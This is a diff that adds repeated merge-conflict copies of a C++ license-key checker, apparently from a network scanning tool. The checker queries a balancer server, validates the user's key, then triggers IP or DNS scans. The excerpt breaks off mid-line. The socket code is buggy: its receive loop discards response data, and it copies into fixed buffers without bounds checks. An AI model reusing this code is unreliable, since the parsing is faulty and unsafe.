+{ + KeyCheckerMain(); +}; diff --git a/CheckKey_Th.cpp.LOCAL.2593.cpp b/CheckKey_Th.cpp.LOCAL.2593.cpp new file mode 100644 index 0000000..6ee1ba7 --- /dev/null +++ b/CheckKey_Th.cpp.LOCAL.2593.cpp @@ -0,0 +1,270 @@ +#pragma once +#include "CheckKey_Th.h" +#include "CheckProxy_Th.h" +#include "STh.h" +#include "externData.h" +#include "externFunctions.h" + +void getSubStrEx(char *src, char *startStr, char *endStr, char *dest, int szDest) +{ + ZeroMemory(dest, szDest); + char *ptr1 = strstri(src, startStr); + if(ptr1 != NULL) + { + char *ptr2 = strstri(ptr1, endStr); + if(ptr2 != NULL) + { + int szStartStr = strlen(startStr); + int sz = ptr2 - ptr1 - szStartStr; + strncpy(dest, ptr1 + szStartStr, sz < szDest ? sz : szDest); + }; + }; +} +void getSubStr(char *src, char *startStr, char *endStr, char *dest, int szDest) +{ + ZeroMemory(dest, szDest); + char *ptr1 = strstri(src, startStr); + if(ptr1 != NULL) + { + char *ptr2 = strstri(ptr1, endStr); + if(ptr2 != NULL) + { + int sz = ptr2 - ptr1; + strncpy(dest, ptr1, sz < szDest ? sz : szDest); + }; + }; +} +int emitIfOK = -1; +int KeyCheckerMain() +{ + int kLen = strlen(trcPersKey); + if(kLen == 0) + { + stt->doEmitionRedFoundData("[Key check] Key field is empty."); + return -1; + } + else if(kLen < 32) + { + stt->doEmitionRedFoundData("[Key check] Key length is not valid."); + return -1; + }; + char msg[1024] = {0}; + char ndbServer[64] = {0}; + char ndbScript[64] = {0}; + + sockaddr_in sockAddr; + sockAddr.sin_family = AF_INET; + sockAddr.sin_port = htons(atoi(trcSrvPortLine)); + + strcpy(msg, "GET "); + strcat(msg, "/"); + strcat(msg, trcScr); + strcat(msg, " HTTP/1.0\r\nHost: "); + strcat(msg, trcSrv); + strcat(msg, "\r\nX-Nescav3: True"); + strcat(msg, "\r\nConnection: close"); + strcat(msg, "\r\n\r\n"); + + HOSTENT *host; + +#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) + if(inet_addr(trcSrv) != INADDR_NONE) sockAddr.sin_addr.S_un.S_addr = inet_addr(trcSrv); + else if(host=gethostbyname (trcSrv)) ((unsigned long*) &sockAddr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; +#else + if(inet_addr(trcSrv) != INADDR_NONE) sockAddr.sin_addr.s_addr = inet_addr(trcSrv); + else if(host=gethostbyname (trcSrv)) ((unsigned long*) &sockAddr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; +#endif + SOCKET sock = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP ); + + stt->doEmitionYellowFoundData("[Key check] Requesting server ip..."); + int test = connect(sock, (sockaddr*)&sockAddr, sizeof(sockAddr)); + if(test == -1) + { + stt->doEmitionRedFoundData("[Key check] -connect() returned. Cannot connect to balancer! " + QString::number(WSAGetLastError()) + "."); + CSSOCKET(sock); + return -1; + }; + + test = send(sock, msg, strlen(msg), 0); + + if(test == -1) + { + stt->doEmitionRedFoundData("[Key check] -send() returned. Cannot send to balancer! " + QString::number(WSAGetLastError()) + "."); + CSSOCKET(sock); + + return -1; + }; + + ZeroMemory(msg, sizeof(msg)); + int ror = sizeof(msg); + + test = recv(sock, msg, sizeof(msg), 0); + char buff[512] = {0}; + while((test = recv(sock, msg, sizeof(msg), 0)) != 0) + { + strcat(msg, buff); + }; + + if(test == -1) + { + stt->doEmitionRedFoundData("[Key check] -recv() returned. Cannot recv from balancer! " + QString::number(WSAGetLastError()) + "."); + CSSOCKET(sock); + + return -1; + }; + + char *t1; + char *t2; + if(strstr(msg, "http://") != NULL) + { + t1 = strstr(msg, "http://"); + if(strstr((char*)(t1 + strlen("http://")), "/") != NULL) + { + t2 = strstr((char*)(t1 + strlen("http://")), "/"); + int ln = t2 - t1 - strlen("http://"); + if(ln > 64) + { + stt->doEmitionRedFoundData("[Key check] -Received server string is not valid!"); + CSSOCKET(sock); + + return -1; + } + else strncpy(ndbServer, (char*)(t1 + strlen("http://")), ln); + + + if(strlen(t2) > 64) + { + stt->doEmitionYellowFoundData("[Key check] -Fragmentation detected!"); + if(strstr(t2, "\r\n") != NULL) + { + char *t3 = strstr(t2, "\r\n"); + int y = (int)(t3 - t2); + + if(y > 64) + { + stt->doEmitionRedFoundData("[Key check] -Received server string is not valid!"); + CSSOCKET(sock); + + return -1; + } + else + { + strncpy(ndbScript, t2, y); + }; + } + else + { + stt->doEmitionRedFoundData("[Key check] -Received server string is not valid!"); + CSSOCKET(sock); + + return -1; + }; + } else strcpy(ndbScript, t2); + } + else + { + stt->doEmitionRedFoundData("[Key check] -Cannot receive script value!"); + CSSOCKET(sock); + + return -1; + }; + + ZeroMemory(msg, sizeof(msg)); + + stt->doEmitionGreenFoundData("[Key check] -OK. -Server string aquired! Checking key..."); + CSSOCKET(sock); + + sockAddr.sin_family = AF_INET; + sockAddr.sin_port = htons(atoi(trcSrvPortLine)); + strcpy(msg, "GET "); + strcat(msg, "/api/checkaccount?key="); + strncat(msg, trcPersKey, 32); + strcat(msg, " HTTP/1.0\r\nHost: "); + strcat(msg, ndbServer); + strcat(msg, "\r\nConnection: close"); + strcat(msg, "\r\n\r\n"); + +#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) + if(inet_addr(ndbServer) != INADDR_NONE) sockAddr.sin_addr.S_un.S_addr = inet_addr(ndbServer); + else if(host=gethostbyname (ndbServer)) ((unsigned long*) &sockAddr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; +#else + if(inet_addr(ndbServer) != INADDR_NONE) sockAddr.sin_addr.s_addr = inet_addr(ndbServer); + else if(host=gethostbyname (ndbServer)) ((unsigned long*) &sockAddr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; +#endif + sock = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP ); + + int c = connect(sock, (sockaddr*)&sockAddr, sizeof(sockAddr)); + if(c == SOCKET_ERROR) + { + stt->doEmitionRedFoundData("[Key check] -Connection timeout."); + CSSOCKET(sock); + return -1; + }; + c = send(sock, msg, strlen(msg), 0); + if(c == SOCKET_ERROR) + { + stt->doEmitionRedFoundData("[Key check] -Send error."); + CSSOCKET(sock); + return -1; + }; + ZeroMemory(msg, sizeof(msg)); + test = recv(sock, msg, 512, 0); + + if(strstr(msg, "202 Accepted") != NULL) + { + + stt->doEmitionGreenFoundData("[Key check] -OK. Key is valid!"); + + CSSOCKET(sock); + + if(emitIfOK == 0) stt->doEmitionStartScanIP(); + else if(emitIfOK == 1) stt->doEmitionStartScanDNS(); + else if(emitIfOK == 2) stt->doEmitionStartScanImport(); + return 1; + } + else if(strstr(msg, "400 Bad Request") != NULL) + { + + QString errorDef = GetNSErrorDefinition(msg, "notify"); + if(errorDef == "Invalid access key") stt->doEmitionYellowFoundData("[NS-Track] [Key is unauthorized] A valid key is required."); + else stt->doEmitionYellowFoundData("[NS-Track] -FAIL! [400 Bad Request : " + GetNSErrorDefinition(msg, "notify") + "]"); + + CSSOCKET(sock); + return -1; + } + else if(strstr(msg, "503 Bad Gateway") != NULL) + { + stt->doEmitionYellowFoundData("[NS-Track] 503 Backend not responding!"); + CSSOCKET(sock); + return -1; + } + else + { + + char header[64] = {0}; + getSubStrEx(msg, "http/1.1 ", "\r\n", header, 64); + stt->doEmitionYellowFoundData("[Key check] -FAIL! An error occured. (" + QString::number(WSAGetLastError()) + ") Header: " + QString::fromLocal8Bit(header) + ""); + if(gDebugMode) stt->doEmitionDebugFoundData(QString(msg)); + + CSSOCKET(sock); + return -1; + }; + + ZeroMemory(msg, sizeof(msg)); + CSSOCKET(sock); + } + else + { + + stt->doEmitionRedFoundData("[Key check] -Balancer replied with invalid string."); + if(gDebugMode) stt->doEmitionDebugFoundData(QString(msg)); + CSSOCKET(sock); + return -1; + + }; +}; + +void CheckKey_Th::run() +{ + KeyCheckerMain(); +}; diff --git a/CheckKey_Th.cpp.LOCAL.2715.cpp b/CheckKey_Th.cpp.LOCAL.2715.cpp new file mode 100644 index 0000000..6ee1ba7 --- /dev/null +++ b/CheckKey_Th.cpp.LOCAL.2715.cpp @@ -0,0 +1,270 @@ +#pragma once +#include "CheckKey_Th.h" +#include "CheckProxy_Th.h" +#include "STh.h" +#include "externData.h" +#include "externFunctions.h" + +void getSubStrEx(char *src, char *startStr, char *endStr, char *dest, int szDest) +{ + ZeroMemory(dest, szDest); + char *ptr1 = strstri(src, startStr); + if(ptr1 != NULL) + { + char *ptr2 = strstri(ptr1, endStr); + if(ptr2 != NULL) + { + int szStartStr = strlen(startStr); + int sz = ptr2 - ptr1 - szStartStr; + strncpy(dest, ptr1 + szStartStr, sz < szDest ? sz : szDest); + }; + }; +} +void getSubStr(char *src, char *startStr, char *endStr, char *dest, int szDest) +{ + ZeroMemory(dest, szDest); + char *ptr1 = strstri(src, startStr); + if(ptr1 != NULL) + { + char *ptr2 = strstri(ptr1, endStr); + if(ptr2 != NULL) + { + int sz = ptr2 - ptr1; + strncpy(dest, ptr1, sz < szDest ? sz : szDest); + }; + }; +} +int emitIfOK = -1; +int KeyCheckerMain() +{ + int kLen = strlen(trcPersKey); + if(kLen == 0) + { + stt->doEmitionRedFoundData("[Key check] Key field is empty."); + return -1; + } + else if(kLen < 32) + { + stt->doEmitionRedFoundData("[Key check] Key length is not valid."); + return -1; + }; + char msg[1024] = {0}; + char ndbServer[64] = {0}; + char ndbScript[64] = {0}; + + sockaddr_in sockAddr; + sockAddr.sin_family = AF_INET; + sockAddr.sin_port = htons(atoi(trcSrvPortLine)); + + strcpy(msg, "GET "); + strcat(msg, "/"); + strcat(msg, trcScr); + strcat(msg, " HTTP/1.0\r\nHost: "); + strcat(msg, trcSrv); + strcat(msg, "\r\nX-Nescav3: True"); + strcat(msg, "\r\nConnection: close"); + strcat(msg, "\r\n\r\n"); + + HOSTENT *host; + +#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) + if(inet_addr(trcSrv) != INADDR_NONE) sockAddr.sin_addr.S_un.S_addr = inet_addr(trcSrv); + else if(host=gethostbyname (trcSrv)) ((unsigned long*) &sockAddr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; +#else + if(inet_addr(trcSrv) != INADDR_NONE) sockAddr.sin_addr.s_addr = inet_addr(trcSrv); + else if(host=gethostbyname (trcSrv)) ((unsigned long*) &sockAddr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; +#endif + SOCKET sock = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP ); + + stt->doEmitionYellowFoundData("[Key check] Requesting server ip..."); + int test = connect(sock, (sockaddr*)&sockAddr, sizeof(sockAddr)); + if(test == -1) + { + stt->doEmitionRedFoundData("[Key check] -connect() returned. Cannot connect to balancer! " + QString::number(WSAGetLastError()) + "."); + CSSOCKET(sock); + return -1; + }; + + test = send(sock, msg, strlen(msg), 0); + + if(test == -1) + { + stt->doEmitionRedFoundData("[Key check] -send() returned. Cannot send to balancer! " + QString::number(WSAGetLastError()) + "."); + CSSOCKET(sock); + + return -1; + }; + + ZeroMemory(msg, sizeof(msg)); + int ror = sizeof(msg); + + test = recv(sock, msg, sizeof(msg), 0); + char buff[512] = {0}; + while((test = recv(sock, msg, sizeof(msg), 0)) != 0) + { + strcat(msg, buff); + }; + + if(test == -1) + { + stt->doEmitionRedFoundData("[Key check] -recv() returned. Cannot recv from balancer! " + QString::number(WSAGetLastError()) + "."); + CSSOCKET(sock); + + return -1; + }; + + char *t1; + char *t2; + if(strstr(msg, "http://") != NULL) + { + t1 = strstr(msg, "http://"); + if(strstr((char*)(t1 + strlen("http://")), "/") != NULL) + { + t2 = strstr((char*)(t1 + strlen("http://")), "/"); + int ln = t2 - t1 - strlen("http://"); + if(ln > 64) + { + stt->doEmitionRedFoundData("[Key check] -Received server string is not valid!"); + CSSOCKET(sock); + + return -1; + } + else strncpy(ndbServer, (char*)(t1 + strlen("http://")), ln); + + + if(strlen(t2) > 64) + { + stt->doEmitionYellowFoundData("[Key check] -Fragmentation detected!"); + if(strstr(t2, "\r\n") != NULL) + { + char *t3 = strstr(t2, "\r\n"); + int y = (int)(t3 - t2); + + if(y > 64) + { + stt->doEmitionRedFoundData("[Key check] -Received server string is not valid!"); + CSSOCKET(sock); + + return -1; + } + else + { + strncpy(ndbScript, t2, y); + }; + } + else + { + stt->doEmitionRedFoundData("[Key check] -Received server string is not valid!"); + CSSOCKET(sock); + + return -1; + }; + } else strcpy(ndbScript, t2); + } + else + { + stt->doEmitionRedFoundData("[Key check] -Cannot receive script value!"); + CSSOCKET(sock); + + return -1; + }; + + ZeroMemory(msg, sizeof(msg)); + + stt->doEmitionGreenFoundData("[Key check] -OK. -Server string aquired! Checking key..."); + CSSOCKET(sock); + + sockAddr.sin_family = AF_INET; + sockAddr.sin_port = htons(atoi(trcSrvPortLine)); + strcpy(msg, "GET "); + strcat(msg, "/api/checkaccount?key="); + strncat(msg, trcPersKey, 32); + strcat(msg, " HTTP/1.0\r\nHost: "); + strcat(msg, ndbServer); + strcat(msg, "\r\nConnection: close"); + strcat(msg, "\r\n\r\n"); + +#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) + if(inet_addr(ndbServer) != INADDR_NONE) sockAddr.sin_addr.S_un.S_addr = inet_addr(ndbServer); + else if(host=gethostbyname (ndbServer)) ((unsigned long*) &sockAddr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; +#else + if(inet_addr(ndbServer) != INADDR_NONE) sockAddr.sin_addr.s_addr = inet_addr(ndbServer); + else if(host=gethostbyname (ndbServer)) ((unsigned long*) &sockAddr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; +#endif + sock = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP ); + + int c = connect(sock, (sockaddr*)&sockAddr, sizeof(sockAddr)); + if(c == SOCKET_ERROR) + { + stt->doEmitionRedFoundData("[Key check] -Connection timeout."); + CSSOCKET(sock); + return -1; + }; + c = send(sock, msg, strlen(msg), 0); + if(c == SOCKET_ERROR) + { + stt->doEmitionRedFoundData("[Key check] -Send error."); + CSSOCKET(sock); + return -1; + }; + ZeroMemory(msg, sizeof(msg)); + test = recv(sock, msg, 512, 0); + + if(strstr(msg, "202 Accepted") != NULL) + { + + stt->doEmitionGreenFoundData("[Key check] -OK. Key is valid!"); + + CSSOCKET(sock); + + if(emitIfOK == 0) stt->doEmitionStartScanIP(); + else if(emitIfOK == 1) stt->doEmitionStartScanDNS(); + else if(emitIfOK == 2) stt->doEmitionStartScanImport(); + return 1; + } + else if(strstr(msg, "400 Bad Request") != NULL) + { + + QString errorDef = GetNSErrorDefinition(msg, "notify"); + if(errorDef == "Invalid access key") stt->doEmitionYellowFoundData("[NS-Track] [Key is unauthorized] A valid key is required."); + else stt->doEmitionYellowFoundData("[NS-Track] -FAIL! [400 Bad Request : " + GetNSErrorDefinition(msg, "notify") + "]"); + + CSSOCKET(sock); + return -1; + } + else if(strstr(msg, "503 Bad Gateway") != NULL) + { + stt->doEmitionYellowFoundData("[NS-Track] 503 Backend not responding!"); + CSSOCKET(sock); + return -1; + } + else + { + + char header[64] = {0}; + getSubStrEx(msg, "http/1.1 ", "\r\n", header, 64); + stt->doEmitionYellowFoundData("[Key check] -FAIL! An error occured. (" + QString::number(WSAGetLastError()) + ") Header: " + QString::fromLocal8Bit(header) + ""); + if(gDebugMode) stt->doEmitionDebugFoundData(QString(msg)); + + CSSOCKET(sock); + return -1; + }; + + ZeroMemory(msg, sizeof(msg)); + CSSOCKET(sock); + } + else + { + + stt->doEmitionRedFoundData("[Key check] -Balancer replied with invalid string."); + if(gDebugMode) stt->doEmitionDebugFoundData(QString(msg)); + CSSOCKET(sock); + return -1; + + }; +}; + +void CheckKey_Th::run() +{ + KeyCheckerMain(); +}; diff --git a/CheckKey_Th.cpp.LOCAL.2915.cpp b/CheckKey_Th.cpp.LOCAL.2915.cpp new file mode 100644 index 0000000..6ee1ba7 --- /dev/null +++ b/CheckKey_Th.cpp.LOCAL.2915.cpp @@ -0,0 +1,270 @@ +#pragma once +#include "CheckKey_Th.h" +#include "CheckProxy_Th.h" +#include "STh.h" +#include "externData.h" +#include "externFunctions.h" + +void getSubStrEx(char *src, char *startStr, char *endStr, char *dest, int szDest) +{ + ZeroMemory(dest, szDest); + char *ptr1 = strstri(src, startStr); + if(ptr1 != NULL) + { + char *ptr2 = strstri(ptr1, endStr); + if(ptr2 != NULL) + { + int szStartStr = strlen(startStr); + int sz = ptr2 - ptr1 - szStartStr; + strncpy(dest, ptr1 + szStartStr, sz < szDest ? sz : szDest); + }; + }; +} +void getSubStr(char *src, char *startStr, char *endStr, char *dest, int szDest) +{ + ZeroMemory(dest, szDest); + char *ptr1 = strstri(src, startStr); + if(ptr1 != NULL) + { + char *ptr2 = strstri(ptr1, endStr); + if(ptr2 != NULL) + { + int sz = ptr2 - ptr1; + strncpy(dest, ptr1, sz < szDest ? sz : szDest); + }; + }; +} +int emitIfOK = -1; +int KeyCheckerMain() +{ + int kLen = strlen(trcPersKey); + if(kLen == 0) + { + stt->doEmitionRedFoundData("[Key check] Key field is empty."); + return -1; + } + else if(kLen < 32) + { + stt->doEmitionRedFoundData("[Key check] Key length is not valid."); + return -1; + }; + char msg[1024] = {0}; + char ndbServer[64] = {0}; + char ndbScript[64] = {0}; + + sockaddr_in sockAddr; + sockAddr.sin_family = AF_INET; + sockAddr.sin_port = htons(atoi(trcSrvPortLine)); + + strcpy(msg, "GET "); + strcat(msg, "/"); + strcat(msg, trcScr); + strcat(msg, " HTTP/1.0\r\nHost: "); + strcat(msg, trcSrv); + strcat(msg, "\r\nX-Nescav3: True"); + strcat(msg, "\r\nConnection: close"); + strcat(msg, "\r\n\r\n"); + + HOSTENT *host; + +#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) + if(inet_addr(trcSrv) != INADDR_NONE) sockAddr.sin_addr.S_un.S_addr = inet_addr(trcSrv); + else if(host=gethostbyname (trcSrv)) ((unsigned long*) &sockAddr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; +#else + if(inet_addr(trcSrv) != INADDR_NONE) sockAddr.sin_addr.s_addr = inet_addr(trcSrv); + else if(host=gethostbyname (trcSrv)) ((unsigned long*) &sockAddr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; +#endif + SOCKET sock = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP ); + + stt->doEmitionYellowFoundData("[Key check] Requesting server ip..."); + int test = connect(sock, (sockaddr*)&sockAddr, sizeof(sockAddr)); + if(test == -1) + { + stt->doEmitionRedFoundData("[Key check] -connect() returned. Cannot connect to balancer! " + QString::number(WSAGetLastError()) + "."); + CSSOCKET(sock); + return -1; + }; + + test = send(sock, msg, strlen(msg), 0); + + if(test == -1) + { + stt->doEmitionRedFoundData("[Key check] -send() returned. Cannot send to balancer! " + QString::number(WSAGetLastError()) + "."); + CSSOCKET(sock); + + return -1; + }; + + ZeroMemory(msg, sizeof(msg)); + int ror = sizeof(msg); + + test = recv(sock, msg, sizeof(msg), 0); + char buff[512] = {0}; + while((test = recv(sock, msg, sizeof(msg), 0)) != 0) + { + strcat(msg, buff); + }; + + if(test == -1) + { + stt->doEmitionRedFoundData("[Key check] -recv() returned. Cannot recv from balancer! " + QString::number(WSAGetLastError()) + "."); + CSSOCKET(sock); + + return -1; + }; + + char *t1; + char *t2; + if(strstr(msg, "http://") != NULL) + { + t1 = strstr(msg, "http://"); + if(strstr((char*)(t1 + strlen("http://")), "/") != NULL) + { + t2 = strstr((char*)(t1 + strlen("http://")), "/"); + int ln = t2 - t1 - strlen("http://"); + if(ln > 64) + { + stt->doEmitionRedFoundData("[Key check] -Received server string is not valid!"); + CSSOCKET(sock); + + return -1; + } + else strncpy(ndbServer, (char*)(t1 + strlen("http://")), ln); + + + if(strlen(t2) > 64) + { + stt->doEmitionYellowFoundData("[Key check] -Fragmentation detected!"); + if(strstr(t2, "\r\n") != NULL) + { + char *t3 = strstr(t2, "\r\n"); + int y = (int)(t3 - t2); + + if(y > 64) + { + stt->doEmitionRedFoundData("[Key check] -Received server string is not valid!"); + CSSOCKET(sock); + + return -1; + } + else + { + strncpy(ndbScript, t2, y); + }; + } + else + { + stt->doEmitionRedFoundData("[Key check] -Received server string is not valid!"); + CSSOCKET(sock); + + return -1; + }; + } else strcpy(ndbScript, t2); + } + else + { + stt->doEmitionRedFoundData("[Key check] -Cannot receive script value!"); + CSSOCKET(sock); + + return -1; + }; + + ZeroMemory(msg, sizeof(msg)); + + stt->doEmitionGreenFoundData("[Key check] -OK. -Server string aquired! Checking key..."); + CSSOCKET(sock); + + sockAddr.sin_family = AF_INET; + sockAddr.sin_port = htons(atoi(trcSrvPortLine)); + strcpy(msg, "GET "); + strcat(msg, "/api/checkaccount?key="); + strncat(msg, trcPersKey, 32); + strcat(msg, " HTTP/1.0\r\nHost: "); + strcat(msg, ndbServer); + strcat(msg, "\r\nConnection: close"); + strcat(msg, "\r\n\r\n"); + +#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) + if(inet_addr(ndbServer) != INADDR_NONE) sockAddr.sin_addr.S_un.S_addr = inet_addr(ndbServer); + else if(host=gethostbyname (ndbServer)) ((unsigned long*) &sockAddr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; +#else + if(inet_addr(ndbServer) != INADDR_NONE) sockAddr.sin_addr.s_addr = inet_addr(ndbServer); + else if(host=gethostbyname (ndbServer)) ((unsigned long*) &sockAddr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; +#endif + sock = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP ); + + int c = connect(sock, (sockaddr*)&sockAddr, sizeof(sockAddr)); + if(c == SOCKET_ERROR) + { + stt->doEmitionRedFoundData("[Key check] -Connection timeout."); + CSSOCKET(sock); + return -1; + }; + c = send(sock, msg, strlen(msg), 0); + if(c == SOCKET_ERROR) + { + stt->doEmitionRedFoundData("[Key check] -Send error."); + CSSOCKET(sock); + return -1; + }; + ZeroMemory(msg, sizeof(msg)); + test = recv(sock, msg, 512, 0); + + if(strstr(msg, "202 Accepted") != NULL) + { + + stt->doEmitionGreenFoundData("[Key check] -OK. Key is valid!"); + + CSSOCKET(sock); + + if(emitIfOK == 0) stt->doEmitionStartScanIP(); + else if(emitIfOK == 1) stt->doEmitionStartScanDNS(); + else if(emitIfOK == 2) stt->doEmitionStartScanImport(); + return 1; + } + else if(strstr(msg, "400 Bad Request") != NULL) + { + + QString errorDef = GetNSErrorDefinition(msg, "notify"); + if(errorDef == "Invalid access key") stt->doEmitionYellowFoundData("[NS-Track] [Key is unauthorized] A valid key is required."); + else stt->doEmitionYellowFoundData("[NS-Track] -FAIL! [400 Bad Request : " + GetNSErrorDefinition(msg, "notify") + "]"); + + CSSOCKET(sock); + return -1; + } + else if(strstr(msg, "503 Bad Gateway") != NULL) + { + stt->doEmitionYellowFoundData("[NS-Track] 503 Backend not responding!"); + CSSOCKET(sock); + return -1; + } + else + { + + char header[64] = {0}; + getSubStrEx(msg, "http/1.1 ", "\r\n", header, 64); + stt->doEmitionYellowFoundData("[Key check] -FAIL! An error occured. (" + QString::number(WSAGetLastError()) + ") Header: " + QString::fromLocal8Bit(header) + ""); + if(gDebugMode) stt->doEmitionDebugFoundData(QString(msg)); + + CSSOCKET(sock); + return -1; + }; + + ZeroMemory(msg, sizeof(msg)); + CSSOCKET(sock); + } + else + { + + stt->doEmitionRedFoundData("[Key check] -Balancer replied with invalid string."); + if(gDebugMode) stt->doEmitionDebugFoundData(QString(msg)); + CSSOCKET(sock); + return -1; + + }; +}; + +void CheckKey_Th::run() +{ + KeyCheckerMain(); +}; diff --git a/CheckKey_Th.cpp.REMOTE.2427.cpp b/CheckKey_Th.cpp.REMOTE.2427.cpp new file mode 100644 index 0000000..901be01 --- /dev/null +++ b/CheckKey_Th.cpp.REMOTE.2427.cpp @@ -0,0 +1,270 @@ +#pragma once +#include "CheckKey_Th.h" +#include "CheckProxy_Th.h" +#include "STh.h" +#include "externData.h" +#include "externFunctions.h" + +void getSubStrEx(char *src, char *startStr, char *endStr, char *dest, int szDest) +{ + ZeroMemory(dest, szDest); + char *ptr1 = strstri(src, startStr); + if(ptr1 != NULL) + { + char *ptr2 = strstri(ptr1, endStr); + if(ptr2 != NULL) + { + int szStartStr = strlen(startStr); + int sz = ptr2 - ptr1 - szStartStr; + strncpy(dest, ptr1 + szStartStr, sz < szDest ? sz : szDest); + }; + }; +} +void getSubStr(char *src, char *startStr, char *endStr, char *dest, int szDest) +{ + ZeroMemory(dest, szDest); + char *ptr1 = strstri(src, startStr); + if(ptr1 != NULL) + { + char *ptr2 = strstri(ptr1, endStr); + if(ptr2 != NULL) + { + int sz = ptr2 - ptr1; + strncpy(dest, ptr1, sz < szDest ? sz : szDest); + }; + }; +} +int emitIfOK = -1; +int KeyCheckerMain() +{ + int kLen = strlen(trcPersKey); + if(kLen == 0) + { + stt->doEmitionRedFoundData("[Key check] Key field is empty."); + return -1; + } + else if(kLen < 32) + { + stt->doEmitionRedFoundData("[Key check] Key length is not valid."); + return -1; + }; + char msg[1024] = {0}; + char ndbServer[64] = {0}; + char ndbScript[64] = {0}; + + sockaddr_in sockAddr; + sockAddr.sin_family = AF_INET; + sockAddr.sin_port = htons(atoi(trcSrvPortLine)); + + strcpy(msg, "GET "); + strcat(msg, "/"); + strcat(msg, trcScr); + strcat(msg, " HTTP/1.0\r\nHost: "); + strcat(msg, trcSrv); + strcat(msg, "\r\nX-Nescav3: True"); + strcat(msg, "\r\nConnection: close"); + strcat(msg, "\r\n\r\n"); + + HOSTENT *host; + +#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) + if(inet_addr(trcSrv) != INADDR_NONE) sockAddr.sin_addr.S_un.S_addr = inet_addr(trcSrv); + else if(host=gethostbyname (trcSrv)) ((unsigned long*) &sockAddr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; +#else + if(inet_addr(trcSrv) != INADDR_NONE) sockAddr.sin_addr.s_addr = inet_addr(trcSrv); + else if(host=gethostbyname (trcSrv)) ((unsigned long*) &sockAddr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; +#endif + SOCKET sock = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP ); + + stt->doEmitionYellowFoundData("[Key check] Requesting server ip..."); + int test = connect(sock, (sockaddr*)&sockAddr, sizeof(sockAddr)); + if(test == -1) + { + stt->doEmitionRedFoundData("[Key check] -connect() returned. Cannot connect to balancer! " + QString::number(WSAGetLastError()) + "."); + CSSOCKET(sock); + return -1; + }; + + test = send(sock, msg, strlen(msg), 0); + + if(test == -1) + { + stt->doEmitionRedFoundData("[Key check] -send() returned. Cannot send to balancer! " + QString::number(WSAGetLastError()) + "."); + CSSOCKET(sock); + + return -1; + }; + + ZeroMemory(msg, sizeof(msg)); + int ror = sizeof(msg); + + test = recv(sock, msg, sizeof(msg), 0); + char buff[512] = {0}; + while((test = recv(sock, msg, sizeof(msg), 0)) != 0) + { + strcat(msg, buff); + }; + + if(test == -1) + { + stt->doEmitionRedFoundData("[Key check] -recv() returned. Cannot recv from balancer! " + QString::number(WSAGetLastError()) + "."); + CSSOCKET(sock); + + return -1; + }; + + char *t1; + char *t2; + if(strstr(msg, "http://") != NULL) + { + t1 = strstr(msg, "http://"); + if(strstr((char*)(t1 + strlen("http://")), "/") != NULL) + { + t2 = strstr((char*)(t1 + strlen("http://")), "/"); + int ln = t2 - t1 - strlen("http://"); + if(ln > 64) + { + stt->doEmitionRedFoundData("[Key check] -Received server string is not valid!"); + CSSOCKET(sock); + + return -1; + } + else strncpy(ndbServer, (char*)(t1 + strlen("http://")), ln); + + + if(strlen(t2) > 64) + { + stt->doEmitionYellowFoundData("[Key check] -Fragmentation detected!"); + if(strstr(t2, "\r\n") != NULL) + { + char *t3 = strstr(t2, "\r\n"); + int y = (int)(t3 - t2); + + if(y > 64) + { + stt->doEmitionRedFoundData("[Key check] -Received server string is not valid!"); + CSSOCKET(sock); + + return -1; + } + else + { + strncpy(ndbScript, t2, y); + }; + } + else + { + stt->doEmitionRedFoundData("[Key check] -Received server string is not valid!"); + CSSOCKET(sock); + + return -1; + }; + } else strcpy(ndbScript, t2); + } + else + { + stt->doEmitionRedFoundData("[Key check] -Cannot receive script value!"); + CSSOCKET(sock); + + return -1; + }; + + ZeroMemory(msg, sizeof(msg)); + + stt->doEmitionGreenFoundData("[Key check] -OK. -Server string aquired! Checking key..."); + CSSOCKET(sock); + + sockAddr.sin_family = AF_INET; + sockAddr.sin_port = htons(atoi(trcSrvPortLine)); + strcpy(msg, "GET "); + strcat(msg, "/api/checkaccount?key="); + strncat(msg, trcPersKey, 32); + strcat(msg, " HTTP/1.0\r\nHost: "); + strcat(msg, ndbServer); + strcat(msg, "\r\nConnection: close"); + strcat(msg, "\r\n\r\n"); + +#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) + if(inet_addr(ndbServer) != INADDR_NONE) sockAddr.sin_addr.S_un.S_addr = inet_addr(ndbServer); + else if(host=gethostbyname (ndbServer)) ((unsigned long*) &sockAddr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; +#else + if(inet_addr(ndbServer) != INADDR_NONE) sockAddr.sin_addr.s_addr = inet_addr(ndbServer); + else if(host=gethostbyname (ndbServer)) ((unsigned long*) &sockAddr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; +#endif + sock = socket( 